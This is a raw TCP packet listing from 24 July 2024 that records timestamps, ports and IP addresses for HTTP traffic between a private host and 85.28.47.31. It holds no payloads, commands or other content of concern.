Jul 24, 2024 02:39:05.253289938 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.253314972 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.253319979 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.253374100 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.253612995 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.253647089 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.253674030 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.253679037 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.253690958 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.253710985 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.253721952 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.253743887 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.253765106 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.253776073 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.253784895 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.253808975 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.253833055 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.253843069 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.253856897 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.253876925 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.253890991 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.253910065 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.253918886 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.253943920 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.253971100 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.253977060 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.253992081 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.254014015 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.254029036 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.254048109 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.254081011 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.254091024 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.254113913 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.254122972 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.254153967 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.254575014 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.254609108 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.254638910 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.254642010 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.254667044 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.254674911 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.254707098 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.254719019 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.254740953 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.254772902 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.254785061 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.254808903 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.254813910 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.254842043 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.254853964 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.254874945 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.254885912 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.254909039 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.254940987 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.254941940 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.254966021 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.254973888 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.255004883 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.255007982 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.255039930 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.255048990 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.255048990 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.255073071 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.255105019 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.255112886 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.255151987 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.255424976 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.255459070 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.255498886 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.255498886 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.255523920 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.255558014 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.255568027 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.255589962 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.255600929 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.255623102 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.255635977 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.255655050 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.255686998 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.255698919 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.255718946 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.255731106 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.255753994 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.255760908 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.255786896 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.255795956 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.255820036 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.255831957 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.255852938 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.255860090 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.255886078 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.255893946 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.255918026 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.255928040 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.255951881 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.255965948 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.255984068 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.255990028 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.256026030 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.256513119 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.256548882 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.256573915 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.256581068 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.256589890 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.256613970 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.256622076 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.256647110 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.256663084 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.256680012 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.256688118 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.256711960 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.256719112 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.256745100 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.256753922 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.256777048 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.256810904 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.256810904 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.256835938 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.256843090 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.256850004 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.256876945 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.256884098 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.256908894 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.256917953 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.256944895 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.256949902 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.256989002 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.345926046 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.345973015 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.346007109 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.346039057 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.346072912 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.346105099 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.346138000 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.346138954 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.346138954 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.346138954 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.346138954 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.346139908 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.346169949 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.346204996 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.346220016 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.346220016 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.346236944 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.346246004 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.346271992 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.346277952 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.346313953 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.346323967 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.346358061 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.346369028 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.346390009 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.346395016 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.346426964 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.346431971 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.346456051 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.346467018 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.346503019 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.346503973 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.346539021 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.346545935 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.346571922 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.346584082 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.346605062 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.346615076 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.346637964 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.346664906 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.346671104 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.346684933 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.346703053 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.346716881 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.346736908 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.346746922 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.346769094 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.346796989 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.346802950 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.346812010 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.346834898 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.346843004 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.346872091 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.346875906 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.346913099 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.346924067 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.346956015 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.346965075 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.346990108 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.346997023 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.347022057 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.347033978 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.347057104 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.347069025 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.347089052 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.347096920 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.347121954 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.347127914 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.347153902 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.347158909 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.347187996 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.347199917 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.347219944 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.347230911 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.347254038 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.347260952 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.347285986 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.347315073 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.347321987 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.347330093 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.347359896 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.347523928 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.347557068 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.347588062 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.347692013 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.347691059 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.347692013 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.347723961 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.347757101 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.347771883 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.347771883 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.347799063 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.347806931 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.347839117 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.347855091 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.347872019 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.347879887 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.347904921 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.347909927 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.347937107 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.347944975 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.347970009 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.347979069 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.348001003 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.348009109 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.348033905 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.348045111 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.348066092 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.348073006 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.348083973 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.348098993 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.348105907 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.348114967 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.348117113 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.348129988 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.348131895 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.348150969 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.348171949 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.348835945 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.348860025 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.348875046 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.348881960 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.348891973 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.348895073 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.348907948 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.348908901 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.348923922 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.348929882 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.348939896 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.348942041 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.348956108 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.348963022 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.348972082 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.348973036 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.348987103 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.348995924 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.349004030 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.349004984 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.349028111 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.349035978 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.349195957 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.349211931 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.349227905 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.349242926 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.349252939 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.349256992 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.349265099 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.349277020 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.349297047 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.349330902 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.349348068 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.349361897 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.349378109 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.349394083 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.349400997 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.349400997 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.349409103 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.349425077 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.349431992 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.349442005 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.349442005 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.349448919 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.349462986 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.349472046 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.349478960 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.349488974 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.349499941 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.349539995 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.350255966 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.350271940 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.350286961 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.350301981 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.350311041 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.350317955 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.350325108 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.350333929 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.350343943 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.350351095 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.350357056 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.350367069 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.350378036 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.350383043 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.350389957 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.350399971 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.350402117 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.350415945 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.350431919 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.350440025 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.350445986 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.350445986 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.350455046 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.350470066 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.350480080 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.350480080 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.350486040 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.350491047 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.350502014 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.350511074 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.350542068 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.351089954 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.351105928 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.351120949 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.351135969 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.351150036 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.351150990 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.351167917 CEST	80	49730	85.28.47.31	192.168.2.4
